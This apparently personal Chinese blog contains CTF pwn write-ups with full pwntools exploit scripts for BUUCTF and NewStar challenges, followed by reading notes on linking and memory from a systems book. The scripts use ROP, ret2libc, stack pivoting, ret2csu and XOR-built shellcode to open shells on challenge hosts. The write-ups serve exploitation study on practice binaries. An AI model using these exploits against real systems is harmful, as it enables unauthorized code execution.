43
44
45


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",29393)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

payload='\x00'+'\xff'*7
sl(payload)
io.recv()

ret=0x08048502
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=0x08048825
payload=cyclic(0xe7+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
# 调用write函数，1并返回到main，对应的三个参数为1，write_got，4，写，4个字节的got地址
se(payload)
write_addr=u32(rc(4))
log.success("write_addr:"+hex(write_addr))
libc_base=write_addr-libc.symbols["write"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b"/bin/sh\x00").__next__()

payload='\x00'+'\xff'*7
sl(payload)
io.recv()
payload=cyclic(0xe7+4)+p32(system)+p32(114514)+p32(binsh)
sl(payload)
io.interactive()

ciscn_2019_ne_5——strcpy导致的栈溢出

strcpy导致了栈溢出 system后的返回地址不能放0，否则不会继续复制

main中s1给48字节，可溢出，getflag就可以直接getshell /bin/sh没找到，–string “sh"拿到shell地址

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF("./1")
io=remote("node5.buuoj.cn",25680)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

shell_addr=0x80482ea
system_addr=elf.sym['system']
io.recv()
sl("administrator")

io.recv()
sl("1")

payload=cyclic(0x48+4)+p32(system_addr)+cyclic(4)+p32(shell_addr)

io.recv()
sl(payload)

io.recv()
sl("4")

io.interactive()

ciscn_2019_es_2——栈迁移基础

主要的函数，只能读到return，无法实现覆盖，有一个hack函数只能echo flag，所以要栈迁移，关于栈迁移，可以看一下两个链接

栈迁移总结
栈迁移带动图简单来说我们一般将栈迁移到原来的栈或bss段比如vmmap查看bss段最重要的就是理解leave ret; leave=mov esp,ebp; pop ebp; //ebp要到哪就看其中内容 ret=pop eip; //执行一次栈顶内容，栈顶向下+1 这样就实现了ebp，esp的转移去保存新的栈顶，而当我们布置完rop链后再次跳转到栈顶就可以执行了回到这道题这道题的程序执行到leave的时候esp没变化，如果我们返回地址为leave ret; 那么就可以再转移到栈顶，由于mov esp,ebp后，pop ebp pop eip会指向esp下一条内容,esp位置填垃圾数据，然后填充system地址，最后填充所需数据，由于pop ebp过，所以我们要找到pre-ebp

vul函数中esp和ebp相距0x38，可以泄露出pre-ebp 先将ebp上方填满，然后printf，因为没有\x00，所以跟在后面的ebp也会被输出

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

io=process("./1")
#io=remote("node5.buuoj.cn",26000)
elf=ELF("./1")
gdb.attach(io)
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
ia      = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

payload=cyclic(0x24)+b'AAAA'
sa("name?",payload)
ru('AAAA')
ebp=u32(rc(4))
log.success("ebp:"+hex(ebp))

leave_ret=0x08048562
payload=b'a'*4+p32(elf.sym['system'])+p32(0)+p32(ebp-0x28)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp-0x38)+p32(leave_ret)
se(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2——printf结构了解，泄露libc

保护只开了NX

printf可以泄露libc printf结构 int printf( const char* format , [argument] … ); 因此需要传两个参数，其中要有格式化字符串，用两个gadgets传参

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./babyrop2")
elf=ELF("./babyrop2")
libc=ELF("./libc-2.23.so")
io=remote("node5.buuoj.cn",25899)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

pop_rdi=0x400733
pop_rsi=0x400731 #pop_rsi_r15要传两个参
ret=0x4004d1
s_addr=0x400770

payload=cyclic(0x28)+p64(pop_rdi)+p64(s_addr)+p64(pop_rsi)+p64(elf.got['read'])+p64(0)+p64(elf.plt['printf'])+p64(elf.sym['main']) #pop_rsi后还有个pop_r15需要设置参数
sla("name? ",payload)
read_addr=get_64()
log.success("read_addr:"+hex(read_addr))
libc_addr=read_addr-libc.sym['read']
system_addr=libc_addr+libc.sym['system']
binsh_addr=libc_addr+libc.search(b'/bin/sh\x00').__next__()

payload=cyclic(0x28)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
ru("name? ")
sl(payload)
io.interactive()

ciscn_2019_s_3——无libc，极少gadgets可利用，ret2csu/srop

能利用的gadgets很少，这里可以考虑用ret2csu

ret2csu

64位程序中，函数前六个参数由寄存器传递，gadgets不够的情况下使用ret2csu,x64 下的 __libc_csu_init 中的 gadgets,ret2csu用于堆libc进行初始化操作，一般来说大多数程序都会调用libc函数，所以这个函数必然存在, 最后pop出一系列寄存器，我们可以以此控制数据

看到这里有mov rax,0Fh 0xF是系统调用号Sigreturn

注意到下面0x38是execve，可以用来利用，我们往栈上写入’/bin/sh’，然后将地址pop给rdi，将rsi，rdx置0，这样就可以execve("/bin/sh\x00",0,0)了

解题

gdb动调，先输入aaaaaaaa, 观察到存储在rsi寄存器中，查看一下内存

从0x30(字符串地址)开始输出到0x60，而字符偏移量为0x60-0x40=0x20，所以会打印出0x20的栈上内容当然从vuln中buf距离rbp只有0x10却能打印0x30内容也能看出

如箭头，由于vul函数最后没有执行leave，所以rbp和rsp会指向一个位置，而原来的栈地址就在778这个地方，所以stack与buf的偏移就是778-660=118，想写入字符串地址，就要将stack-0x118，这样直接获得我们输入的/bin/sh 接下来找gadgets

pop_rdi,pop_rsi_r15都有了，到csu中找利用rdx的地方

通过修改r13可以修改rdx，修改r13靠下面的pop，置0

这里还要注意r12不能乱修改，修改完rbx后这里call就会跳转到r12+0了，下面也要注意cmp中rbx和rbp的比较，如果相同的话标志位为1下面就jnz跳转循环了 exp思路

1
2
3
4
5


rax->59 #execve
rdi->binsh
rdx->0
rsi->0
syscall #execve("/bin/sh\x00",0,0)

第二次进行攻击将构造好的值一口气在pop的时候传给寄存器，第二次的payload应该如下

但是实际写起来的时候我要写吐了，一堆问题要注意坑点

patchelf，远程环境ubuntu18泄露后地址偏移值是0x118，本地版本高却是0x148,
指令中没有leave，覆盖完数据就到ret了
实际r12传入的是binsh_addr+0x50（每个格子0x8，栈中覆盖后计算后刚好到r13_rdx后），此时call后跳转到rdi处
实际尝试过之后跳转后rsi r15设不设置不影响，当然最好设0这样省事

exp_ret2csu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")

io=remote("node5.buuoj.cn",29139)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

rax_to_3b=0x4004E2
rdi_ret=0x4005a3
rsi_r15_ret=0x4005a1
rbx_rbp_r12_r13_14_15=0x40059A
r13_to_rdx=0x400580
syscall=0x400501

vuln_addr=0x04004ED
payload=cyclic(0x10)+p64(vuln_addr)
sl(payload)

io.recv(0x20)
stack = get_64()
log.info("stack:"+hex(stack))

binsh=stack-0x118 #栈地址-字符串在栈中的地址 = offset，反过来就得到字符串地址
log.info("binsh:"+hex(binsh))

payload=b'/bin/sh\x00'+cyclic(0x8)
payload+=p64(rbx_rbp_r12_r13_14_15)+p64(0)+p64(1)
payload+=p64(binsh+0x50)+p64(0)*3
payload+=p64(r13_to_rdx)
payload+=p64(rdi_ret)+p64(binsh) #CALL r12后刚好跳转到这里
# payload+=p64(rsi_r15_ret)+p64(0)+p64(0)
payload+=p64(rax_to_3b)
payload+=p64(syscall)

sl(payload)
io.interactive()

SROP解法

前面说到有mov rax, 0Fh 也就是0xf——sigreturn的调用号给出了，我们可以直接拿来利用 SROP的原理简单来说就是利用了进程机制

SROP原理

进程之间可以通过软中断信号进行中断

内核向某个进程发送signal信号，那么该进程就会被暂时挂起进入内核态
内核将该进程对应的上下文保存，寄存器压栈，signal信息压入，并且会指向sigreturn系统调用地址这里可以简单理解为

保存为环境后去执行信号处理，但是由于处理完恢复栈相关环境时没有校验栈是否合法，我们能控制这个栈就可以恢复上下文环境时控制寄存器执行rop链

那么使用SROP需要的前提便是

首先程序必须存在溢出，能够控制返回地址。
可以去系统调用sigreturn（如果找不到合适的系统调用号，可以看看能不能利用read函数来控制RAX的值）
必须能够知道/bin/sh的地址，如果写的bss段，直接写地址就行，如果写到栈里，还需要想办法去泄露栈地址。
允许溢出的长度足够长，这样可以去布局我们想要的寄存器的值
需要知道syscall指令的地址

exp

newstar Bad_Asm

ps：什么玩意手搓shellcode，好痛苦

除canary外保护全开

题目限制syscall sysenter（从if中的两个判断得知，\x0f\x05-syscall \x0f\x34-sysenter
read读入shellcode，\x00后shellcode不会读入查找得知要用异或构造syscall 实在是不会手搓，看了官方wp和大佬博客常用的有xor [rsi+rbx],xx xor [rip],xx，前面可以做到构造做单位的可见字符异或，后面这个可以在地址未知情况下直接异或后边两字节 exec()中将rsp,rbp都清空了在任意可读写段恢复rsp，才能正常push pop 先用异或把syscall的机器码插入到shellcode后面执行read的syscall read可以在旧的shellcode末尾插入shellcodeexecve("/bin/sh", 0, 0)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote("192.168.3.104",61765)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

shellcode='''
mov rsp,rsi;
add rsp,0x60; //任意合法值均可
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode=asm(shellcode)+b'\x0f\x45'
sla(b"Input your Code : \n",shellcode)
#pause()
sleep(0.5)
se(b'\x90'*0x20+asm(shellcraft.sh()))

io.interactive()

官方的比较好理解的一个shellcode构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


...
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值，使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置,rsi进栈对应栈顶

mov rdi, rsp ; // 设置 rdi，指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶，rsp 此时指向的是 syscall 指令
jmp rsp //跳转rsp，执行
'''
io.sendafter("Input your Code :", asm(shellcode))
io.interactive()

思路是把栈放在可执行段上面了，我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面，最后 jmp rsp 即可。由于这种方法我们并不依赖 nop 指令进行连接，在送 Payload 的时候可以去掉 ljust 了。

newstar Inverted_World

把 Stack 旋转 180°，不就没有 Stack0verf1ow 的烦恼了嘛♡~

😅幽默保护没开PIE，开了canary

看，read有很大溢出空间对不对，但是这个read是自定义的_read()，是向read相反方向进行输入的

rsp是负的而，真是反着长的那填满还能溢出到返回地址吗？反向填满再反向填返回地址反向输入sh试试，system(“sh”)来get shell

注意要跳过backdoor中if判断，不然绝对过不了检测，直接返回到中间部分去执行system(“sh”)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./pwn")
#io=remote("172.22.192.1",51780)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

addr=p64(0x40137C)[::-1]
#print(addr)
payload=cyclic(0x100)+addr
sl(payload)
ru("root@AkyOI-VM:~#")
sl("hs")
io.interactive()

就，挺奇妙的

newstar Ez_fmt

保护

三次for函数 printf(buf)明显格式化字符串

偏移为8 三次格式化字符串可以

泄露libc
改printf got表地址到system
printf(sh)——system(sh) ez

canary偏移位置为0x38/8=7 字符串偏移位置为8 8+7=15

《程序员的自我修养》读书笔记(更新中)

Wed, 22 Jan 2025 03:19:00 +0000

前言

经学长推荐最近在学习《程序员的自我修养》这本书，是清华大学出版社出版的作品。这本书的内容非常多，所以写篇读书笔记

我们将学到什么？–链接、装载与库

WIN和Linux的操作系统下的可执行文件和目标文件格式
C/C++程序代码如何被编译成目标文件和在其中的存储
目标文件的链接和执行、符号处理、重定向和地址分配
什么是动态链接，为何动态链接，WIN和Linux如何动态链接和动态链接的相关问题
可执行文件如何被装载并执行，与进程的虚拟空间之间如何映射
堆与栈
函数调用惯例，运行库，Glibc和MSVC CRT的实现分析

基础要求：x86汇编语言基础、C/C++、操作系统基本概念和基本编程技巧、计算机系统结构基本概念

1. 温故而知新

从Hello World说起

一个"Hello World"程序，带领无数人进入了程序的世界，而简单的背后往往有很多复杂的机制，因此到了某些细节会模糊

1
2
3
4
5
6


#include<stdio.h>

int main(){
 printf("Hello World!\n");
 return 0;
}

带着这些思考进入之后的学习:

程序为什么要被编译器编译了之后才可以运行?
编译器在把C语言程序转换成可以执行的机器码的过程中做了什么, 怎么做的?
最后编译出来的可执行文件里面是什么? 除了机器码还有什么? 它们怎么存放的, 怎么组织的?
#include <stdio.h>是什么意思? 把stdio.h包含进来意味着什么?C语言库又是什么? 它怎么实现的?
不同的编译器(Microsoft VC、GCC)和不同的硬件平台(x86、SPARC、MIPS、ARM), 以及不同的操作系统(Windows、Linux、UNIX、Solaris), 最终编译出来的结果一样吗? 为什么?
Hello World 程序是怎么运行起来的? 操作系统是怎么装载它的? 它从哪儿开始执行, 到哪儿结束? main 函数之前发生了什么?main 函数结束以后又发生了什么?
如果没有操作系统,Hello World 可以运行吗? 如果要在一台没有操作系统的机器上运行 Hello World 需要什么? 应该怎么实现?
printf是怎么实现的? 它为什么可以有不定数量的参数? 为什么它能够在终端上输出字符串?
Hello World 程序在运行时, 它在内存中是什么样子的?

软件、系统

软件

系统软件: 传统意义上指用于管理计算机本身的软件
- 可分为两类:
  - 平台性: 如操作系统内核、驱动程序、运行库、数以千计的系统工具
  - 程序开发: 编译器、汇编器、链接器等开发工具和开发库

计算机系统软件体系结构采用一种层的结构, 有人说过一句名言:
“计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决”
“Any problem in computer science can be solved by another layer of indirection.”

计算机的整个体系结构从上到下都是按照严格的层次结构设计的，每个层次之间进行通信的协议就是
接口(interface), 层次之间遵循这个接口的话任何一个层都能被修改或被替换。除硬件和应用程序外，其他的都是中间层, 而每个中间层都是对下面层的包装和扩展，由此应用程序和硬件保持相对独立（兼容性）
虚拟机则是在硬件和操作系统之间增加了一层虚拟层，由此一个计算机上可以同时运行多个操作系统

应用程序(最上层)：网络浏览器、多媒体播放器、文本编辑器、游戏等
- 应用程序编程接口：开发工具和应用程序使用的接口
- 接口提供者：运行库——WIN32 API、Glibc

系统

操作系统: 管理硬件资源，使得硬件资源能充分发挥作用

CPU: 计算机发展早期,CPU 资源十分昂贵, 如果一个CPU只能运行一个程序, 那么当程序读写磁盘(当时可能是磁带)时,CPU 就空闲下来了, 这在当时简直就是暴珍天物为了协调CPU、内存和高速的图形设备, 人们专门设计了一个高速的北桥芯片, 以便它们之间能够高速地交换数据。而南桥是连接低频设备的, 最初CPU频率甚至和内存差不多
有了监控系统之后, 当某个程序暂时无须使用 CPU时, 监控程序就把另外的正在等待 CPU 资源的程序启动, 但是最大的问题是程序之间的调度策略太粗糙。对于多道程序来说, 程序之间不分轻重缓急, 如果有些程序急需使用 CPU 来完成一些任务(比如用户交互的任务), 那么很有可能很长时间后才有机会分配到CPU。

经过稍微改进, 程序运行模式变成了一种协作的模式, 即每个程序运行一段时间以后都主动让出 CPU 给其他程序, 使得一段时间内每个程序都有机会运行一小段时间。这对于一些交互式的任务尤为重要, 比如点击一下鼠标或按下一个键盘按键后, 程序所要处理的任务可能并不多, 但是它需要尽快地被处理, 使得用户能够立即看到效果。这种程序协作模式叫做分时系统(Time-Sharing System)(但如果一个程序霸占了CPU就会类似while(1), 直接死循环。。)

程序员肯定不想天天跟硬件打交道(然而早期程序员又不得不这么做😂), 所以操作系统逐步发展，在成熟之后硬件被抽象成一系列概念(NIX 中, 硬件设备的访问形式跟访问普通的文件形式一样; 在 Windows系统中, 图形硬件被抽象成了 GDI, 声音和多媒体设备被抽象成了DirectX 对象; 磁盘被抽象成了普通文件系统, 等等)

文件系统：文件系统保存了这些文件的存储结构, 负责维护这些数据结构并且保证磁盘中的扇区能够有效地组织和利用。
内存: 一个重要问题:如何将计算机上有限的物理内存分配给多个程序使用。

假设我们的计算机有128 MB 内存, 程序A运行需要10MB, 程序B需要100MB, 很容易想到的一种解决方案是:A分配前10MB，B分配10~110MB，但是很明显这样有问题

内存利用率低，假设有个C程序需要20MB, 这里就需要将B先换出到磁盘, 然后再分配给C，有大量的数据换入换出了

地址空间不隔离: 直接访问物理地址, 恶意程序很容易直接改写进行破坏整个内存空间中的程序(有联想到pwn中未开启ASLR吗)

程序运行地址不确定, 每次程序装入分配的空间位置不确定因此我们需要的是把程序给出的地址看作是一种虚拟地址, 通过映射再进行转化，从而程序物理空间互不重叠。

关于隔离

地址空间分为两种：虚拟地址空间(Virtual Address Space)和物理地址空间(Physical Address Space)
物理地址空间是实实在在存在的, 存在于计算机中, 而且对于每台计算机只有唯一一个, 把物理空间想象成物理内存, 比如一台Intel的Pentium4的处理器，它是32位的机器, 物理空间有4GB，但是计算机上如果只装了512MB的内存，实际上物理地址的有效部分就是0x00000000 ~ 0x1FFFFFFF
虚拟地址空间则比较抽象，是指虚拟的、人们想象出来的地址空间, 而实际上并不存在，每个进程都有自己独立的虚拟空间, 而且每个进程只能访问自己的地址空间，由此有效地做到了进程隔离 每个进程有自己的虚拟地址空间 每个进程在操作系统中都会被分配一个独立的虚拟地址空间。这个虚拟空间对于每个进程来说是连续的，且相互之间不会干扰。例如：

进程 A 可能会把自己的虚拟地址空间分配在 0x00000000 到 0x7FFFFFFF 之间。
进程 B 则会有一个完全不同的虚拟地址空间，比如 0x00000000 到 0x7FFFFFFF，虽然它和进程 A 的虚拟地址空间在地址范围上重叠，但操作系统确保它们彼此隔离，不会互相访问。
进程只能访问自己的虚拟空间 尽管所有进程的虚拟地址空间可能存在重叠，但操作系统通过内存管理单元（MMU）和页表来确保：

分段和分页

分段：把虚拟地址空间分成若干段，每段有独立的属性，如可读、可写、可执行等
我们可以将虚拟空间映射到屋里空间，操作系统中设置一个映射函数，然后实际地址由硬件完成
- 由此我们便可以实现
  1.地址空间隔离(超出范围判断访问出错)
1. 物理地址空间不必继续关心(可以不连续)，这使得程序不需再次重定位

但是如何解决内存利用效率问题？

分页：把虚拟地址空间分成若干页，操作系统决定页大小 Intel Pentium系列处理器支持4KB或4MB页大小，操作系统可以根据此进行选择页会在我们需要的时候才从磁盘取出来使其真正有效可用

线程

什么是线程？线程：有时被称为轻量级进程，是程序执行流的最小单元，可见下图

线程拥有自己的私有存储空间，一般包括

栈(尽管并非完全无法被其他线程访问, 但一般情况下仍然可以认为是私有的数据)。
线程局部存储(Thread Local Storage TLS) 线程私有空间，但是很有限
寄存器不过我们也可以从另一个角度来看，从程序员角度来看的话

线程私有线程之间共享

局部变量全局变量

函数参数堆上数据

TLS数据函数里的静态变量

程序代码

打开的文件，例如A打开的由B读写

关于线程调度和优先级的话，这里不多叙述，简单来讲线程调度分为三种状态：

就绪态：可以运行，但是没有被调度
运行态：正在运行
等待态：无法运行，例如等待I/O完成

主流的调度方式尽管各不相同，但都带有优先级调度和轮转法。我们一般把频繁等待的线程称之为IO密集型线程(IO Bound Thread)，而把很少等待的线程称为 CPU 密集型线程
(CPU Bound Thread)

而在优先级调度环境下，线程优先级改变一般有三种：

用户指定优先级
根据进入状态频繁程度进行修改
长时间得不到执行会被提高优先级（防止饿死）

Linux的多线程

Windows 对进程和线程的实现如同教科书一般标准,Windows 内核有明确的线程和进程的概念。在Windows API中, 可以使用明确的API: Create Process 和 Create Thread 来创建进程和线程, 并且有一系列的API来操纵它们。但对于Linux 来说，线程并不是一个通用的概念。

Linux将所有执行实体称之为任务（Task），不过Linux下不同任务可以选择共享内存空间。
我们来看看如何创建新任务

系统调用	作用
fork	复制当前进程
exec	使用新的可执行映像覆盖当前可执行映像
clone	创建子进程并从指定位置开始执行

线程安全

多线程程序处于一个多变的环境当中，可访问的全局变量和堆数据随时都可能被其他的线程改变。因此多线程程序在并发时数据的一致性变得非常重要。

我们常使用锁来实现线程的访问同步。

锁是一种非强制机制, 每一个线程在访问数据或资源之前首先试图获取(Acquire) 锁, 并在访问结束之后释放(Release)锁。在锁已经被占用的时候试图获取锁时, 线程会等待, 直到锁重新可用。

静态链接

关于目标文件

程序运行四大过程：预处理、编译、汇编、链接

预处理：处理预编译指令（递归插入文件）删除注释，添加行号以及文件名标识
编译：进行一系列词法分析、语法分析等后优化生成的汇编代码文件
汇编：将汇编代码转化成机器可执行命令
链接：将文件链接起来获得最终的可执行文件按需要组装源代码模块，是为链接
地址和空间分配
符号决议
重定位等等步骤下面是一个最基本的静态链接过程

链接的接口——符号

不难想到，目标文件之间的必须有固定的规则才能进行恰当的链接才行
如果我们要生成一个目标文件B, 并且用到A中的函数foo 则A 定义 foo。B 引用 foo。我们将函数和变量统称为 符号(symbol)，而函数名或变量名就是符号名(Symbol Name)。
不难想到每个文件中都应该有一个符号表的存在，并且有对应的值

通常我们关注上面两种 全局符号

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


#include <stdio.h>

extern char __executable_start[];
extern char etext[], _etext[], __etext[];
extern char edata[], _edata[];
extern char end[], _end[];

int main() {
 printf("Executable start: %X\n", __executable_start);
 printf("Text End %X %X %X\n", etext, _etext, __etext);
 printf("Data End %X %X\n", edata, _edata);
 printf("Executable End %X %X\n", end, _end);

 return 0;
}

编译运行得到

符号修饰与函数签名

为了防止符号名和c库相关文件冲突，UNIX下的C语言规定，C语言源代码文件中所有全局变量、函数经过编译后，会在对应符号名前加上下划线_，比如foo->_foo

关于符号修饰，我们可以拿出经典的C++进行参考，C++拥有类、继承、虚机制、重载等特性，因此符号管理也会更复杂，就比如函数重载仅仅是参数不同就可以实现一个不同功能的同名函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#include <iostream>
int func(int);
float func(float);

class C {
 int func2(int);
 class C2 {
 int func(int);
 };
};

namespace N {
int func(int);
class C {
 int func(int);
};
} // namespace N

看上面，有6个同名func函数，但返回类型以及参数的名称空间是不同的。
这里引入一个术语函数签名(Function Signature)
顾名思义，就是编译器以及链接器会给函数签名后一个修饰后的名称，在这种情况下，即使我们表面上给函数一个一样的名称，实际上对编译器来说还是不同的！（注意修饰后名称会根据不同的编译器厂商有不同的方法）

并且这个方法对于防止静态变量名字冲突也是同样适用的

extern “C”（选学）

C++为了与C兼容，有一个用来声明、定义C的符号的extern "C"关键字用法，在其后面的符号都为修饰后符号

弱符号与强符号

编程中会在多个可能在多个目标文件中有相同名字全局符号的定义，那么在目标文件链接的时候会出现符号重复定义的错误，链接器就可能报错，多个目标文件中定义同名符号，导致出现重复定义错误，一般为 强符号

对于C/C++来说，编译器默认函数和初始化了的全局变量为强符号，未初始化的则为弱符号。也可以通过__attribute__((weak))来定义任何一个强符号为弱符号

你能分辨出强弱符号和非强弱符号吗？——weak和weak2是弱符号;strong和main是强符号，ext则非强非弱，因为是外部变量引用，下面是一些重要的规则

强符号不可多次定义，会报错
若在一个文件中为强符号，而其他文件中都是弱符号，那么链接时当作强符号
在所有文件都是弱符号，则选择占用空间最大的一个。如A和B都有global，其中一个为int 4字节，一个为double 8字节。那么最后会选择8个字节的global 弱引用和强引用则根据会不会因为不存在而报错来进行判断，弱引用会被强引用覆盖，那么程序可以使用自定义版本的库函数（有点“虚”的概念在？）通过弱引用我们就有办法判断当前Linux程序线程是否指向单线程亦或是多线程

调试信息

在gcc编译的时候加上g参数，编译器就会在目标文件里加上调试信息（合格的程序员还是必须学会调试啊，拿上面的special.c举例吧

这些就是保存的调试信息

现在的ELF文件采用一个叫做DWARF（Debug With Arbitrary Record Format）的标准调试信息格式

详解静态链接

我们要将ab链接在一起，形成可执行文件ab，注意c99开始就不支持使用未声明的的函数了。所以还要写一行void swap(int *,int *);

第一个问题：链接器如何合并段到输出文件？

自然想到一个简单的方法就是按照次序叠加

那么阁下如果文件多了呢？那么零零散散的成百上千的段会搞得人有够呛的，而对于x86硬件来说，段的装载地址和空间对齐单位是页，即4096字节，一个段如果只有一字节那么给4096也太狮子大开口了。

所以我们想到，诶那我们将性质类似的段合并不久简单多了？

.bss段在目标文件和可执行文件中不占用文件的空间，但是它在装载时占用地址空间。💀嗯？那.bss的空间分配到底是什么空间

嗯。。。细读一下 链接器为目标文件分配地址和空间 这句话，地址和空间？

可执行文件的空间
